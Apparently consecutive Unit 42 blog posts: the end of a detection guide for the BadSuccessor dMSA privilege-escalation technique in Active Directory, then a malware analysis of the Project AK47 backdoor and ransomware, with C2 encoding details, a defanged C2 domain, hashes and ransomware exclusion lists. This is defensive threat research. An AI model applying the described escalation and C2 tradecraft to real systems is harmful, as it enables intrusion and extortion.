When a user creates a dMSA object, the initiating user or process requires and uses the CreateChild access rights on the OU. Figure 12 shows how dMSA object creation using the CreateChild access rights is reflected in Event ID 4662 (An operation was performed on an object).

Event Properties window showing details of event 4662, Microsoft Windows security auditing. Fields include Account Name, Security ID, Object Type, Handle ID, Operation Type, and other specific identifiers, highlighted with a red box around the Additional Information.
Figure 12. Event ID 4662 that audits the dMSA creation.

The same Event ID is generated when a user with sufficient access rights modifies the following two attributes in the properties of the dMSA object.

  • 2f5c138a-bd38-4016-88b4-0ec87cbb4919 represents msDS-DelegatedMSAState
  • a0945b2b-57a2-43bd-b327-4d112a4e8bd1 represents msDS-ManagedAccountPrecededByLink

Changing the above dMSA attributes triggers the event shown in Figure 13.

Event Properties window showing details of event 4662, Microsoft Windows security auditing. Fields include Account Name, Security ID, Object Type, Handle ID, Operation Type, and other specific identifiers, highlighted with a red box around the Security ID, Account Name, Access Mask, Properties and more.
Figure 13. Event ID 4662 that audits the change to the dMSA’s attributes.

Legitimate dMSA Migration Process Footprints

To better detect BadSuccessor, we must also know the differences between the footprints of malicious dMSA activity and legitimate dMSA migration. Only Administrative users can legitimately migrate service accounts to dMSA objects. To detect BadSuccessor activity, we must search for unprivileged users who have created a dMSA and then accessed the object’s specific attributes with the Access Mask value of 0x20 as shown in Figure 13.

A slightly different footprint is created when a privileged user creates a dMSA legitimately and then migrates a service account. According to Microsoft's guide, only a privileged user can create a dMSA under the OU Managed Service Account. The Event 4662 log entry in Figure 14 shows an Administrator user creating a child object (the dMSA) in the Managed Service Account OU.

Event Properties window showing details of event 4662, Microsoft Windows security auditing.
Figure 14. Event ID 4662 that documents the creation of a legitimate dMSA.

A legitimate migration uses an initial msDS-DelegatedMSAState attribute with a value of 1. Figure 15 shows that the msDS-DelegatedMSAState attribute was changed in the first step of the migration process, while Figure 16 shows it was changed to 1.

Event Properties window showing details of event 4662, Microsoft Windows security auditing. A red box highlights the last item in the Properties list.
Figure 15. Event ID 4662 that audits the first step of dMSA account migration, where the msDS-DelegatedMSAState attribute is changed.
Screenshot of Microsoft Windows security auditing event detail, focusing on the LDAP Display Name 'msDs-DelegatedServiceAccount' with its value set to 1.
Figure 16. Event ID 5136 that audits the change of the msDS-DelegatedMSAState dMSA object attribute to 1.

Figure 17 shows the last step that consists of changing the msDS-DelegatedMSAState attribute to 2, and changing the msDS-ManagedAccountPrecededByLink attribute to the superseded account.

Event Properties window showing details of a security audit for Event 4662. The object accessed is managed by the account "ENVO\Administrator" and the operation involved writing properties. A specific GUID identifier is highlighted in red.
Figure 17. Event ID 4662 that audits the changes made to the msDS-DelegatedMSAState and msDS-ManagedAccountPrecededByLink attributes.

Enabling Auditing

To identify the attack footprint and conduct detection activities, auditing must be enabled. Figure 18 shows an example of a relevant auditing interface.

Screenshot of a computer interface for managing user permissions with various options for types of permissions like 'Read all' and 'Modify permissions', and an arrow pointing to a dropdown list labeled 'Assign to' with the selected option.
Figure 18. Example of auditing enablement on Windows Server 2025.

Conclusion

We examined the BadSuccessor technique and explored how, under certain conditions, adversaries can exploit the newly introduced dMSAs in a Windows Server 2025 DC to compromise the domain. We also analyzed the operational footprints left by this activity and proposed a novel detection strategy to identify such attacks.

Given how effective this attack can be, we strongly recommend closely monitoring Microsoft’s updates to understand available mitigation strategies and to properly configure all permissions — particularly those related to the BadSuccessor attack.

Palo Alto Networks Protections

Palo Alto Networks customers can leverage a variety of product protections and updates to identify and defend against this threat.

One such product is Palo Alto Networks XSIAM, which can detect BadSuccessor activity if Windows security auditing is enabled on the dMSA. Our security auditing guide for Microsoft Windows systems provides information on how to configure the required auditing on Windows Server 2025.

Figure 19 shows an example of a “Possible Privilege Escalation using delegated MSA account attempt” in XSIAM.

Screenshot of Cortex XDR cybersecurity dashboard displaying details about a potential Privilege Escalation incident using Delegated MSA account in a Windows environment. Information includes alerts, user data, timestamps, and MITRE ATT&CK tactics related to credential manipulation.
Figure 19. Example of a Cortex XDR alert for “Possible privilege escalation using delegated MSA account attempt.”

Cortex XDR and XSIAM detect user and credential-based threats by analyzing user activity from multiple data sources including endpoints, network firewalls, AD, identity and access management solutions, and cloud workloads. Cortex builds behavioral profiles of user activity over time with machine learning. By comparing new activity to past activity, peer activity and the expected behavior of the entity, Cortex detects anomalous activity indicative of credential-based attacks.

Unit 42 Managed Detection and Response Service delivers continuous 24/7 threat detection, investigation and response/remediation to customers of all sizes globally.

If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Palo Alto Networks has shared our findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Additional Resources

BadSuccessor

Enabling Auditing

Tools

Appendix

Unit 42 Managed Threat Hunting Queries

The Unit 42 Managed Threat Hunting team has created queries that can help defenders identify potential signs of dMSA misuse and use of SharpSuccessor.

Assuming that all auditing has been enabled and event logs are being properly ingested, the query provided below can be used to identify potential signs of SharpSuccessor execution.

As SharpSuccessor creates a computer account, hunters can correlate SubjectLogonIDs to identify relevant events. Event ID 4741 indicates that a computer account was created, and Event ID 4662 shows that an operation was performed — in this case, dMSA creation. Then, hunters can enrich the details of the user account that performed the action, by correlating Event ID 4624 to pull in information such as:

  • Workstation name
  • IP address
  • Logon type

We recommend running this query on smaller time frames, given the multiple joins and alter commands leveraged.

For customers who have enabled auditing and are ingesting Event ID 5136, the following query can be used to identify creation of dMSAs.

Additionally, the following query can be used to identify which gMSA or standalone Managed Service Account (sMSA) account the new dMSA should supersede:

The following queries can be used independently. Alternatively, they can be combined in a single query that will show details of the new dMSA, the new account name and the superseded accounts.

XDR Alerts and MITRE Techniques

Table 1 lists the Cortex XDR alerts and the associated MITRE ATT&CK techniques these alerts detect.

Alert Name Alert Source ATT&CK Technique
Possible Privilege Escalation using Delegated MSA account XDR Analytics, Identity Analytics Account Manipulation (T1098) 
Rare machine account creation XDR Analytics BIOC, Identity Analytics Create Account (T1136) 

Table 1. Relevant alerts and MITRE techniques.

Project AK47: Uncovering a Link to the SharePoint Vulnerability Attacks

Posted on by Mark Lim

Executive Summary

Unit 42 observed notable overlaps between Microsoft’s reporting on ToolShell activity (an exploit chain affecting SharePoint vulnerabilities) and activity that we have been separately tracking. The activity, which we track as CL-CRI-1040, caught our attention by deploying a tool set that we call Project AK47, which includes a backdoor, ransomware and loaders.

Microsoft's report named a suspected China-based threat actor, Storm-2603. Based on our analysis of host- and network-based artifacts, we assess with high confidence that Storm-2603 is related to the activity cluster that we track as CL-CRI-1040. We initially noted this in our threat brief covering exploitation of recent SharePoint vulnerabilities, and here further expand on our observations. (See Table 1 in the body of this article for clarification of the connection.)

Our key findings are:

  • CL-CRI-1040 is a cluster of financially motivated activity involving the ToolShell exploit chain
  • CL-CRI-1040 involves a custom tool set called Project AK47
  • Project AK47 includes:
    • A backdoor nicknamed AK47C2 that supports multiple protocols
    • Ransomware nicknamed AK47/X2ANYLOCK
    • Loaders abusing DLL side-loading
  • CL-CRI-1040 was formerly identified as activity from a LockBit 3.0 affiliate and has recently been linked to a double-extortion site operating under the name Warlock Client

This threat research article includes both findings we can confidently attribute to CL-CRI-1040 and observations that remain at lower levels of certainty.

Palo Alto Networks customers are better protected from the threats discussed in this article through:

For more information about protection against the ToolShell exploit chain, please see our threat brief on active exploitation of recent SharePoint vulnerabilities.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Ransomware, CVE-2025-49704, CVE-2025-49706, CVE-2025-53770, CVE-2025-53771, SharePoint    

CL-CRI-1040

CL-CRI-1040 has been active since at least March 2025. Based on overlaps in host- and network-based artifacts from the Microsoft report, we have high confidence that the CL-CRI-1040 activity cluster represents the same threat actor nicknamed Storm-2603, that Microsoft observed exploiting recent vulnerabilities in SharePoint through the ToolShell exploit chain. The recent SharePoint vulnerabilities are designated CVE-2025-49704, ​​CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771.

Microsoft assessed Storm-2603 as a China-based threat actor, as of late July, but we do not have enough direct evidence to confidently attribute CL-CRI-1040 to any nation-state or cybercriminal entity. Prior to the SharePoint ToolShell exploitation campaign, however, we had already observed malicious activity from this cluster using a tool set we call Project AK47.

We have also observed in CL-CRI-1040 deployment of an IIS backdoor that a Chinese-speaking community commonly misuses, which might be a potential connection to the Chinese nexus.

Retrospective investigation of CL-CRI-1040 revealed several pieces of evidence to support our assessment of this activity cluster as financially motivated. We confirmed that CL-CRI-1040 was formerly associated with a LockBit 3.0-affiliate and has recently been operating a double-extortion data leak site known as Warlock Client Leaked Data Show. However, considering that CL-CRI-1040 activity appeared alongside espionage-motivated actors in Microsoft’s report, we cannot entirely rule out the possibility of nation-state motivation or cooperation between threat actors.

While we further describe the connections throughout this article, Figure 1 below illustrates an overview of the overlaps between Storm-2603 and CL-CRI-1040. Table 1 details how this discussion relates to the Microsoft report.

Diagram illustrating the attribution of cyber tools and malware. Labels show connections between different threat groups like Linen Typhoon, Violet Typhoon, and their relationships with entities like Storm-2603 and CL-CRI-1040 to ransomware and SharePoint vulnerabilities.
Figure 1. An overview of indicators of compromise (IoC) overlaps between Storm-2603 and CL-CRI-1040.
Research Origin  Cluster/Group  Activity  Tools  Significance 
Unit 42  CL-CRI-1040 Financially motivated activity involving the ToolShell exploit chain Project AK47: backdoor, ransomware, loaders  Based on our analysis of host and network-based artifacts, we assess with high confidence that Storm-2603 is identical to the activity cluster that we track as CL-CRI-1040.
Microsoft Storm-2603 Exploiting SharePoint vulnerabilities to deploy ransomware Microsoft “has observed this threat actor deploying Warlock and Lockbit ransomware in the past”

Table 1. Microsoft’s report covers the activity of several threat actors. In this article, we detail our observations of CL-CRI-1040, which we assess with high confidence represents the activity of the same threat actor as Storm-2603.

Project AK47

Project AK47 is a collection of malware used in CL-CRI-1040 that has likely been under development since at least March 2025. Project AK47 consists of several sub-projects, including the following:

  • A multi-protocol supporting backdoor named AK47C2
  • Custom ransomware named AK47 ransomware (also known as X2ANYLOCK)
  • A set of other supporting tools

We named this tool set based on its common PDB (Program Database) filepath names, as shown below in Figure 2.

Screenshot of four computer file paths in a list highlighting the ak47c2 portion of each patch.
Figure 2. Examples of PDB filepaths of Project AK47.

According to the PDB filepath, Project AK47 can be divided into two main sub-projects:

  • AK47C2
    • This sub-project contains tools named dnsclient and httpclient
  • AK47
    • This sub-project contains tools named writenull, encrypt, 7zdllhijacked and dll_hijacked, shown in Figure 3 below
Diagram titled "Project AK47" showing two branches. The first branch, labeled "AK47C2," includes details of a DNS-based backdoor and an HTTP-based backdoor. The second branch, labeled "AK47," lists a prototype of AK47/XANLYLOCK ransomware, an encrypt tool, and a loader of AK47/XANLYLOCK ransomware.
Figure 3. The structure of Project AK47.

AK47C2

AK47C2 is designed as a multi-protocol supporting backdoor. The protocols supported include DNS and HTTP, referred to as dnsclient and httpclient respectively, based on their PDBs. These two backdoor instances share the following functionality:

  • Commands
  • Command and control (C2) communication request and response format
  • Encryption algorithm
  • XOR key

The capability of these backdoors is straightforward, supporting the following features:

  • Setting sleep duration
  • Executing an arbitrary command

According to IoCs shared by Microsoft, attackers deployed both the dnsclient and httpclient components of AK47C2 as payloads for the ToolShell exploits.

Dnsclient

The dnsclient has been under development since at least early March 2025. The current variant uses DNS to communicate with the C2 server, as its PDB name indicates.

  • C:\Users\Administrator\Desktop\work\tools\ak47c2\dnsclinet-c\dnsclient\x64\Release\dnsclient.pdb

The method of C2 communication varies depending on the date of the sample. An early stage of dnsclient that we have called version 202503 was packed using UPX. Version 202503 was likely a test build because it contains several verbose error messages and uses a private IP address as its DNS server, as noted in the code snippet shown below in Figure 4.

Image displaying a segment of computer code in a programming language, featuring function calls. The code includes conditional checks and error log messages related to memory allocation and DNS server IP validation.
Figure 4. Code snippet from version 2025-03 of dnsclient showing a private IP address of 10.7.66[.]10 as its DNS server.

Version 202503 of dnsclient communicates with the C2 server by XOR-encoding JSON data, converting it into a hexadecimal string and then sending it as a subdomain of the hard-coded server at update.updatemicfosoft[.]com. The XOR key (VHBD@H) is hard-coded in the binary and is shared among other AK47C2 samples.

Figure 5 below illustrates the encoding algorithm to generate subdomains on the initial C2 check-in to receive a backdoor command.

Illustration demonstrating the process of DNS exfiltration using randomized characters and the XOR operation, concluding with a conversion to hexadecimal and alignment with DNS subdomain mask length.
Figure 5. The encoding algorithm of the dnsclient version 202503.

The response of the C2 server is contained in a DNS TXT record encoded by the same algorithm. The decoded response uses the following format in JSON:

Version 202503 of dnsclient supports multiple arbitrary command execution but does not support sleep duration management. The command execution result is sent in the following JSON format encoded with the same algorithm:

However, this implementation might generate a subdomain longer than the maximum length of a DNS query (255 bytes). To avoid this, dnsclient fragments the request data and sends it in multiple queries. It prepends s to the domain name in the DNS query to indicate the query represents fragmented data.

In early April 2025, the developer updated the protocol of the dnsclient to simplify and support more reliability, which we have named version 202504. In this version, the initial request to receive a backdoor command during C2 check-in generates a slightly different DNS subdomain, as shown below in Figure 6. The notable changes are that it doesn’t use JSON anymore and prepends 1 to a random five-character session key to tell the C2 server that it is a task request.

Image showing a diagram explaining a process to generate a unique subdomain using random characters, XOR operations, hostname, and conversion to hexadecimal.
Figure 6. The encoding algorithm of dnsclient version 202504.

The TXT record in the DNS response is also encoded by the same algorithm, but the decoded data differs from the version 202503 of dnsclient as follows:

Version 202504 of dnsclient verifies the session key on the client side and performs a backdoor routine based on the received command. On the response request, similar to version 202503, version 202504 fragments the execution results if the encoded data is too long and prepends s to the random session key. To finalize the message, it prepends 2 to the first substring session key and a to the second substring session key.

Httpclient

The httpclient has been under development since at least late March 2025 and supports HTTP communication with the C2 server, as its PDB name indicates.

  • C:\Users\Administrator\Desktop\work\tools\ak47c2\httpclient-cpp\x64\Release\httpclient-cpp.pdb

The encoding algorithm and XOR key are the same ones used in dnsclient version 202503, because httpclient also uses JSON to send and receive messages. The original message of the C2 check-in appears as follows:

The encoded hexadecimal string is stored in the HTTP body and sent to the C2 server using the POST method. The httpclient uses curl for network communication, as noted in the curl options (CURLOPT) shown in the code snippet in Figure 7 below.

A screenshot of computer code in an editor, displaying functions and commands primarily related to the curl library for handling internet protocols. Text is in shades of blue, green, and grey.
Figure 7. Code snippet of httpclient indicating the use of curl to communicate over HTTP.

AK47 Ransomware (Aka X2ANYLOCK Ransomware)

While analyzing AK47C2, we found an interesting PDB, indicating possible ransomware as a sub-project of Project AK47:

  • C:\Users\Administrator\Desktop\work\tools\ai\ak47\cpp\encrypt\encrypt\x64\Release\encrypt.pdb

The use of encrypt in the PDB filepath name was not a coincidence, and our investigation revealed a ransomware written in C++ that we dubbed AK47 ransomware. However, due to the .x2anylock file extension added to encrypted files, this malware is publicly referred to as X2ANYLOCK ransomware. Although we found several reports of victims and auto-generated pages related to this ransomware, at the time of writing we had seen no technical analysis on AK47/X2ANYLOCK ransomware.

The earliest version of AK47 ransomware was observed in early April 2025, which has a slightly different PDB, using writenull instead of encrypt in the file path name:

  • C:\Users\Administrator\Desktop\work\tools\ai\ak47\writenull\x64\Release\writenull.pdb

This PDB didn’t implement file encryption capability, but only implemented ransom note creation. The associated sample was likely a prototype of AK47 ransomware.

Based on its compilation time, a sample of the fully implemented AK47 ransomware might have been compiled a few days after the likely prototype. The capabilities of this ransomware are typical of other ransomware families. AK47 ransomware can perform the following actions:

  • Terminating several applications
  • Enumerating all possible logical drives and network shares
  • Encrypting specific types of files using a combination of AES and RSA, while excluding specified directories and files
  • Dropping ransom notes (How to decrypt my data.txt or How to decrypt my data.log)

To potentially evade detection, the ransomware checks the Data Modified timestamp of specific objects. If the timestamp is on or after June 6, 2026, the ransomware terminates itself, as the code snippet in Figure 8 below shows.

A screenshot displaying a segment of computer code in a text editor, including file paths, system time function, and conditional statements. The code involves file operations and system time checks in a programming environment.
Figure 8. Code snippet of AK47 ransomware showing the timestamp check routine.

The ransom note is embedded in the AK47 ransomware binary without encryption or encoding. Figure 9 below shows an example of the ransom note. The decrypt ID differs with each binary, but the Tox ID to communicate with the threat actor is the same across all AK47 ransomware variants.

The image shows text providing contact information, listing both a QTox ID and an Email Support address, with email hosted at Proton.me. The decryption ID is redacted.
Figure 9. Example of a ransom note generated by AK47 ransomware.

Is This Warlock Ransomware?

According to the Microsoft report, Storm-2603 has previously deployed ransomware named Warlock. However, since we have not found any common indicators between AK47/X2ANYLOCK ransomware from CL-CRI-1040 and Warlock ransomware from Microsoft's article, we cannot conclusively determine the relationship between these two ransomware families.

Loaders

In addition to the AK47C2 backdoor and AK47/X2ANYLOCK ransomware, we found other sub-projects that support executing the payload via DLL side-loading, as the following PDB shows.

  • C:\Users\Administrator\Desktop\work\tools\ai\ak47\cpp\dll_hijacked\dll_hijacked\x64\Release\dllhijacked.pdb
  • C:\Users\Administrator\Desktop\work\tools\ai\ak47\cpp\7zdllhijacked\7zdllhijacked\x64\Release\My7zdllhijacked.pdb

These loaders are designed to be loaded via a legitimate executable (7z.exe in this case) and invoke the entrypoint of the AK47 ransomware DLL, as shown below in Figure 10.

Screenshot of a computer screen displaying a list of function names and memory addresses, highlighting "GetModuleProp" and "DllEntryPoint," with the first marked as the main entry point of the malicious routine and the latter marked as the main entry.
Figure 10. Entrypoint of AK47 ransomware.

Other Tools

During our investigation, we encountered a RAR archive named Evidencia.rar containing the following:

  • A copy of the AK47C2 dnsclient
  • AK47 ransomware
  • Several hacking tools

While the source is unknown, the directory structure (Evidencia.rar\Directorio_Public) and included files indicate this RAR archive is possibly a package of the Public directory from a victim machine. If so, the hacking tools in this archive may be part of the arsenal for CL-CRI-1040. Table 2 below shows notable files from Evidencia.rar.

Filename SHA256 Hash File Description
nxc.exe 0f4b0d65468fe3e5c8fb4bb07ed75d4762e722a60136e377bdad7ef06d9d7c22 PyPyKatz
SharpHostInfo.x64.exe d6da885c90a5d1fb88d0a3f0b5d9817a82d5772d5510a0773c80ca581ce2486d SharpHostInfo
7z.exe e7a7cd756dfeacbdc8caa0d431f9192cb10d62da119b138fca65276ff4ab6958 A legitimate executable
7z.dll abb0fa128d3a75e69b59fe0391c1158eb84a799ddb0abc55d2d6be3511ef0ea1 Loader for AK47 ransomware
masscan_1.3.0.exe 5cc047a9c5bb2aa6a9581942b9d2d185815aefea06296c8195ca2f18f2680b3e masscan
sd.exe f01675f9ca00da067bdb1812bf829f09ccf5658b87d3326d6fddd773df352574 SharpAdidnsdump
PsExec64.exe edfae1a69522f87b12c6dac3225d930e4848832e3c551ee1e7d31736bf4525ef PsExec
PsExec.exe 078163d5c16f64caa5a14784323fd51451b8c831c73396b967b4e35e6879937b PsExec
ip.exe f185c91e62ca38494d7f125492058028028769a86ed169bd2fb051e43fd9fb70 A CSV file
clink_x86.exe 011b31d7e12a2403507a71deb33335d0e81f626d08ff68575a298edac45df4cb A legitimate executable
bbb.msi 3b013d5aec75bf8aab2423d0f56605c3860a8fbd4f343089a9a8813b15ecc550 LockBit 3.0 ransomware dropper
clink_dll_x86.dll dbf5ee8d232ebce4cd25c0574d3a1ab3aa7c9caf9709047a6790e94d810377de Loader for LockBit 3.0 ransomware

Table 2. Notable files from the Evidencia.rar archive.

Of note, the LockBit 3.0 ransomware files in Table 2 are important evidence for our attribution.

Retrospective Investigation

Our investigation of CL-CRI-1040 attacks revealed evidence of previous ransomware activities, including LockBit 3.0 and Warlock Client ransomware. This evidence led us to assess with high confidence that CL-CRI-1040 is financially motivated. Figure 11 provides an overview of the activities we've attributed to CL-CRI-1040.

Diagram illustrating the LockBit 3.0 ransomware's use by CL-CRI-1040 and Storm-2603. It shows connections and interactions, such as 'use' and 'grant access', between various elements and entities.
Figure 11. An overview of the activities we attribute to CL-CRI-1040.

Alleged LockBit 3.0 Affiliate

During our investigation on the Tox ID (3DCE1C43491FC92EA7010322040B254FDD2731001C2DDC2B9E819F0C946BDC3CD251FA3B694A) from the AK47 ransomware note, we discovered a database dump file associated with LockBit 3.0 ransomware.

In May 2025, an unknown actor compromised LockBit 3.0 infrastructure and leaked a database dump of the ransomware's operations. This leaked dump file contains:

  • Negotiation messages
  • Bitcoin wallet addresses
  • Affiliated user information
  • Operational details

In this LockBit 3.0 dump file a username wlteaml has the same Tox ID as used in the AK47 ransomware note. The username wlteaml was registered as a LockBit 3.0 user on April 22, 2025, as shown in Figure 12.

Screenshot of computer code displayed in a text editor with a black background and white text. The code includes functions and variable declarations written in Python. A Tox ID is highlighted in red on the second line.
Figure 12. Same Tox ID in the LockBit dumped database.

The database indicates that the wlteaml is the last user registered as a LockBit 3.0 affiliate before the data leak. We believe the letters in the username wlteaml might stand for warlock team LockBit and indicate a tie to Warlock Client ransomware.

Let’s revisit the LockBit 3.0 ransomware files contained in the above-mentioned RAR archive (Evidencia.rar).

Bbb.msi is a malicious installer that works as a dropper of LockBit 3.0 ransomware loader. This MSI file drops two components:

  • clink_x86.exe – This is a legitimate application misused to sideload the latter malicious DLL.
  • clink_dll_x86.dll – This DLL is completely different from any other sub-projects of Project AK47. It performs several known anti-analysis and anti-debugging techniques, decrypts a shellcode and runs it within a legitimate DLL (d3dl1.dll) by using the DLL hollowing technique.

The final payload executed by the in-memory shellcode is explicitly LockBit 3.0. Figure 13 shows the disassembled code of a unique entrypoint from the Lockbit 3.0 ransomware sample. This code invokes ransomware behavior, associated functions and meaningless Windows API calls, as ​​an analysis report on LockBit 3.0 previously described.

A screenshot showing a portion of code in a programming environment, with numerous "call" statements invoking functions. The top section with a red background is the ransomeware behavior functions. The section below it with the green background shows meaningless Windows API calls.
Figure 13. Disassembled code snippet from the LockBit 3.0 ransomware sample entrypoint.

The timeline for this sample is unusual, because the first submission date of this sample to VirusTotal was April 16, 2025, but the associated wlteaml user registration on the LockBit 3.0 portal was April 22, 2025. While we cannot yet explain this timeline gap, the inclusion of the LockBit 3.0 instance in the same archive as Project AK47 components does not seem to be a mere coincidence.

Warlock Client Leaked Data Show

The AK47 ransomware Tox ID shows another link to the Warlock ransomware group, which emerged in June 2025. The ransomware's leak site on the dark web is named Warlock Client Leaked Data Show, and it displays the same Tox ID as AK47 ransomware for negotiation with its victims.

While the website is inaccessible as of late July, we confirmed the same Tox ID from a publicly available screenshot. However, we haven’t yet observed any actual ransomware used by the threat actor behind this leak site. Therefore, we lack any evidence to determine whether the AK47 ransomware has been used by the Warlock ransomware group.

On the other hand, Microsoft mentioned that Storm-2603 has previously deployed Warlock ransomware. However, since the report shares no indicators of Warlock ransomware binaries, we cannot confirm if the Warlock mentioned by Microsoft is identical to that used by the Warlock Client Leaked Data Show.

Conclusion

Our analysis reveals overlaps between recent ToolShell exploit activity and the activity of a cluster that we track as CL-CRI-1040. This article also covers the Project AK47 tool set in detail and describes the considerations behind our attribution. This information reveals a continuously evolving threat and a complex situation behind the attacks.

Palo Alto Networks Protection and Mitigation

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

  • ​​TheAdvanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research.
  • Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious.
  • Next-Generation Firewall with the Advanced Threat Prevention security subscription can help block the attacks with best practices via the following Threat Prevention signature 87037.
  • Cortex XDR and XSIAM combine several layers of protection to prevent both known and unknown malware from causing harm to endpoints, including those mentioned in this article.
  • Cortex Xpanse has the ability to identify exposed SharePoint devices on the public internet and escalate these findings to defenders. Customers may also opt into Xpanse Attack Surface Testing, which allows customers to initiate an external vulnerability scan for CVE-2025-53770 across their exposed SharePoint servers.

For more information about protection against the ToolShell exploit chain, please see our threat brief on active exploitation of recent SharePoint vulnerabilities.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

SHA256 Hash Malware Description
ceec1a2df81905f68c7ebe986e378fec0805aebdc13de09a4033be48ba66da8b AK47C2: dnsclient
24480dbe306597da1ba393b6e30d542673066f98826cc07ac4b9033137f37dbf AK47C2: httpclient
1eb914c09c873f0a7bcf81475ab0f6bdfaccc6b63bf7e5f2dbf19295106af192 AK47C2: dnsclient
257fed1516ae5fe1b63eae55389e8464f47172154297496e6f4ef13c19a26505 AK47C2: dnsclient
b5a78616f709859a0d9f830d28ff2f9dbbb2387df1753739407917e96dadf6b0 AK47C2: dnsclient
c27b725ff66fdfb11dd6487a3815d1d1eba89d61b0e919e4d06ed3ac6a74fe94 AK47C2: dnsclient
4147a1c7084357463b35071eab6f4525a94476b40336ebbf8a4e54eb9b51917f AK47 Ransomware
79bef5da8af21f97e8d4e609389c28e0646ef81a6944e329330c716e19f33c73 AK47 Ransomware
55a246576af6f6212c26ef78be5dd8f83e78dd45aea97bb505d8cee1aeef6f17 AK47 Ransomware
a919844f8f5e6655fd465be0cc0223946807dd324fcfe4ee93e9f0e6d607061e AK47 Ransomware
f711b14efb7792033b7ac954ebcfaec8141eb0abafef9c17e769ff96e8fecdf3 AK47 Ransomware
1d85b18034dc6c2e9d1f7c982a39ca0d4209eb6c48ace89014924eae6532e6bc Loader
7e9632ab1898c47c46d68b66c3a987a0e28052f3b59d51c16a8e8bb11e386ce8 Loader
7c31d43b30bda3a891f0332ee5b1cf610cdc9ecf772cea9b073ac905d886990d Loader
0f4b0d65468fe3e5c8fb4bb07ed75d4762e722a60136e377bdad7ef06d9d7c22 PyPyKatz
d6da885c90a5d1fb88d0a3f0b5d9817a82d5772d5510a0773c80ca581ce2486d SharpHostInfo
abb0fa128d3a75e69b59fe0391c1158eb84a799ddb0abc55d2d6be3511ef0ea1 AK47 Ransomware
5cc047a9c5bb2aa6a9581942b9d2d185815aefea06296c8195ca2f18f2680b3e masscan
f01675f9ca00da067bdb1812bf829f09ccf5658b87d3326d6fddd773df352574 SharpAdidnsdump
edfae1a69522f87b12c6dac3225d930e4848832e3c551ee1e7d31736bf4525ef PsExec
078163d5c16f64caa5a14784323fd51451b8c831c73396b967b4e35e6879937b PsExec
dbf5ee8d232ebce4cd25c0574d3a1ab3aa7c9caf9709047a6790e94d810377de LockBit 3.0
3b013d5aec75bf8aab2423d0f56605c3860a8fbd4f343089a9a8813b15ecc550 LockBit 3.0 Dropper
7638069eeccf3cd7026723d794a7fd181c9fe02cecc1d1a98cf79b8228132ef5 IIS_backdoor
6f6db63ece791c6dc1054f1e1231b5bbcf6c051a49bad0784569271753e24619 IIS_backdoor

Appendix A: List of Objects Checked by AK47 Ransomware

  • C:\Windows\System32\perfc009.dat
  • C:\Windows\System32\perfh009.dat
  • C:\Windows\System32\PerfStringBackup.ini
  • C:\Windows\bootstat.dat
  • C:\Windows\WindowsUpdate.log
  • C:\Windows\Temp\
  • C:\Users\*\AppData\Local\Temp\
  • C:\Users\*\Local\Temp\

Appendix B: List of Objects Ignored by AK47 Ransomware

  • autorun.inf
  • boot.ini
  • bootfont.bin
  • bootsect.bak
  • bootmgr
  • bootmgr.efi
  • bootmgfw.efi
  • desktop.ini
  • iconcache.db
  • ntldr
  • ntuser.dat
  • ntuser.dat.log
  • ntuser.ini
  • thumbs.db
  • Program Files
  • Program Files (x86)
  • #recycle
  • How to decrypt my data.txt
  • decryptiondescription.pdf
  • config.json
  • Important!!!.pdf

Appendix C: List of File Extensions Ignored by AK47 Ransomware

  • .x2anylock
  • .386
  • .adv
  • .ani
  • .bat
  • .bin
  • .cab
  • .cmd
  • .com
  • .cpl
  • .cur
  • .deskthemepack
  • .diagcab
  • .diagcfg
  • .diagpkg
  • .dll
  • .drv
  • .exe
  • .hlp
  • .icl
  • .icns
  • .ico
  • .ics
  • .idx
  • .ldf
  • .lnk
  • .mod
  • .mpa
  • .msc
  • .msp
  • .msstyles
  • .msu
  • .nls
  • .nomedia
  • .ocx
  • .prf
  • .ps1
  • .rom
  • .rtp
  • .scr
  • .shs
  • .spl
  • .sys
  • .theme
  • .themepack
  • .wpx
  • .lock
  • .key
  • .hta
  • .msi
  • .pdb
  • .search-ms

Updated Sept. 4, 2025, at 7:50 a.m. PT to add Advanced Threat Prevention coverage. 

Updated Sept. 18, 2025, at 9:05 a.m. PT to add Cortex Xpanse coverage. 

Threat Actor Groups Tracked by Palo Alto Networks Unit 42 (Updated Aug. 1, 2025)

Posted on by Unit 42

Executive Summary

This article lists selected threat actors tracked by Palo Alto Networks Unit 42, using our specific designators for these groups. We've organized them in alphabetical order of their assigned constellation. The information presented here is a list of threat actors, along with key information like the category of threat actor, industries typically impacted and a summary of the overall threat. We intend this to be a centralized destination for readers to review the breadth of our research on these notable cyber threats. For more information on the attribution process, read about Unit 42’s Attribution Framework.

Palo Alto Networks customers are better protected from threat actors through the use of our products like our Next-Generation Firewall with Cloud-Delivered Security Services that include Advanced WildFire, Advanced DNS Security, Advanced Threat Prevention and Advanced URL Filtering. Our customers are also better protected through our line of Cortex products and Prisma SASE.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Cybercrime, Nation-State Cyberattacks

Nation-State Threat Actor Groups

Unit 42 considers the following groups to have a motivation that is primarily state-backed rather than financial. There can also be some cybercrime motivation for threat groups in this category, but we believe their main motivation is in furthering the interest of their sponsoring nation.

Draco – Pakistan

